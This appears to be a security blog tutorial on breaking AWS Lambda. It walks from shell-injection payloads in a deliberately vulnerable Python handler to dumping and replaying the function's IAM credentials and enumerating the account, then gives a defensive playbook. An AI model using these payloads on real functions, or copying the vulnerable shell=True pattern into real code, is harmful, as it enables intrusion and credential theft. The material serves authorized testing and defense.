Breaking Serverless: Attacking AWS Lambda from Event Injection to RCE

Cloud Security
Time it takes to read this article 6 minutes.

Introduction / Overview

Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against AWS accounts and functions you own or have explicit written permission to assess. Unauthorized access to AWS infrastructure violates the Computer Fraud and Abuse Act, the AWS Acceptable Use Policy, and equivalent laws worldwide.

AWS Lambda removes the server, but it does not remove the attack surface. The shared-responsibility line just moves: AWS patches the host, you own the code, the execution role, the environment variables, and the way your handler trusts its event payload. In serverless engagements I keep finding the same chain — an attacker-controlled event is parsed unsafely, this gives RCE inside the sandbox, and from there the function's IAM credentials are exfiltrated and pivoted across the account.

This post walks that chain end to end, then gives the blue team an equal-weight playbook to break it.

How it works / Background

A Lambda execution environment is a microVM (Firecracker) that runs your handler. Three security-relevant facts drive most attacks:

  1. Credentials live in environment variables. The execution role's temporary credentials are injected as AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN. Any code execution inside the sandbox can read process.env / os.environ and instantly assume that role's permissions.
  2. The event is untrusted input. API Gateway, SQS, S3, SNS, and direct Invoke calls all deliver a JSON event. If the handler passes event fields into eval, child_process, subprocess, os.system, a SQL query, or a deserializer, you have classic injection — just in a serverless wrapper.
  3. The writable filesystem is /tmp. Everything else is read-only, but /tmp (512 MB–10 GB) survives across warm invocations, which makes it a staging ground for dropped tooling and a place where secrets can persist between requests.

The most damaging finding is rarely the RCE itself — it is the over-privileged execution role behind it. A function that only needs s3:GetObject but ships with AdministratorAccess turns one injection bug into full account compromise.

Prerequisites / Lab setup

You need an AWS account you control, the AWS CLI v2, and an IAM role for the function. Build a deliberately vulnerable Python function so you can practice safely.

# handler.py — VULNERABLE BY DESIGN, lab only
import os, subprocess, json

def handler(event, context):
    host = event.get("host", "127.0.0.1")
    # Unsafe: event field flows straight into a shell
    out = subprocess.check_output(
        f"ping -c 1 {host}", shell=True, stderr=subprocess.STDOUT
    )
    return {"statusCode": 200, "body": out.decode()}
Python

Deploy it with an intentionally broad role so you can observe blast radius:

zip function.zip handler.py

aws lambda create-function \
  --function-name vuln-pinger \
  --runtime python3.12 \
  --handler handler.handler \
  --zip-file fileb://function.zip \
  --role arn:aws:iam::111122223333:role/lab-lambda-overbroad \
  --timeout 15
Bash

Walkthrough / PoC

Step 1 — Confirm event injection

The host field is concatenated into a shell command. Inject a command separator and read the environment, which contains the credentials:

aws lambda invoke \
  --function-name vuln-pinger \
  --payload '{"host":"127.0.0.1; env"}' \
  --cli-binary-format raw-in-base64-out \
  out.json

cat out.json
Bash

The response body now includes the function's environment, including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN. That is event injection converted to credential disclosure in a single call. If this were an API Gateway-backed function, the same payload would arrive through an HTTP request body or query string instead of a direct Invoke.

Step 2 — Escalate to interactive RCE

Inside the sandbox you can stage tooling in /tmp, the only writable path:

aws lambda invoke \
  --function-name vuln-pinger \
  --payload '{"host":"x; id; uname -a; cat /proc/1/cgroup"}' \
  --cli-binary-format raw-in-base64-out \
  rce.json && cat rce.json
Bash

id confirms execution as the sandbox user; cat /proc/1/cgroup fingerprints the Lambda runtime. From here an attacker typically curls a reverse-shell helper into /tmp, marks it executable, and runs it.

Step 3 — Steal and reuse the execution role

The cleanest pivot is to exfiltrate the three credential variables and replay them from your own machine. The session token is mandatory because these are STS short-term credentials:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

aws sts get-caller-identity        # who am I now?
aws iam list-attached-role-policies --role-name lab-lambda-overbroad
Bash

get-caller-identity returns the assumed-role ARN. Now enumerate what that role can do. This is where over-privileged execution roles bite: if the role carries s3:*, dynamodb:*, or iam:*, the injection has become lateral movement.

aws s3 ls                          # any buckets the role can reach
aws dynamodb list-tables
aws lambda list-functions          # find the next target to poison
Bash

Step 4 — Persistence (optional, with permission)

If the role allows lambda:UpdateFunctionCode or lambda:CreateFunction, an attacker can backdoor other functions or attach a malicious layer that re-exfiltrates credentials on every cold start. Detecting this is exactly why the defensive section below matters.

Attack flow diagram

Breaking Serverless: Attacking AWS Lambda from Event Injection to RCE diagram 1

The diagram shows how a single untrusted event becomes account-wide compromise only when the handler trusts input and the execution role is over-scoped — break either link and the chain fails.

Detection & Defense (Blue Team)

Mitigation is layered. No single control is sufficient.

1. Treat every event field as hostile. Validate and allow-list inputs; never pass them to shell=True, eval, child_process.exec, or string-built SQL. For the lab function, the fix is to drop the shell entirely:

# Safe: no shell, argument list, validated input
import subprocess, ipaddress

def handler(event, context):
    host = event.get("host", "127.0.0.1")
    ipaddress.ip_address(host)              # raises on non-IP input
    out = subprocess.check_output(["ping", "-c", "1", host])
    return {"statusCode": 200, "body": out.decode()}
Python

2. Least-privilege execution roles. Scope each function's role to the exact API actions and resource ARNs it needs. Audit with IAM Access Analyzer, which generates a tightened policy from CloudTrail history:

aws accessanalyzer start-policy-generation \
  --policy-generation-details '{"principalArn":"arn:aws:iam::111122223333:role/lab-lambda-overbroad"}' \
  --cloud-trail-details file://trail.json
Bash

3. Stop storing secrets in environment variables. Lambda env vars are visible to anyone with lambda:GetFunctionConfiguration and to any in-process RCE. Move secrets to AWS Secrets Manager or SSM Parameter Store and fetch them at runtime, and enable env-var encryption with a customer-managed KMS key. The role's own STS credentials cannot be removed, which is exactly why control #2 caps their value.

4. Detect the credential-replay pivot. Stolen Lambda credentials used outside Lambda are a high-fidelity signal. In GuardDuty, the finding type UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS fires when a role's session token is used from an IP outside AWS. Alert on it. Reinforce with a CloudTrail metric filter for assumed-role calls from unexpected source IPs.

5. Runtime and supply-chain hardening. Pin and scan dependencies (a malicious package gets the same env access as your handler), enable AWS Lambda code signing to block unsigned layers, and turn on CloudWatch Lambda Insights to baseline normal process behavior. Map these defenses to MITRE ATT&CK: T1552.007 (Unsecured Credentials: Container API / cloud instance metadata) and T1078.004 (Valid Accounts: Cloud Accounts).

For broader context on abusing cloud identities and metadata services, see my notes on attacking the EC2 metadata service and enumerating IAM with least-privilege bypasses. The input-validation principle here mirrors what I covered in command injection fundamentals.

Conclusion

Serverless does not eliminate classic bugs — it relocates them. Event injection plus an over-privileged execution role is the serverless equivalent of SQLi-to-shell, and the credentials sitting in environment variables make the pivot frictionless. The defense is unglamorous and effective: validate every event, scope every role to the minimum, keep real secrets out of env vars, and alert when a role's credentials are replayed from outside AWS. Fix the two load-bearing links — input trust and role scope — and the whole chain collapses.

References

Comments

Copied title and URL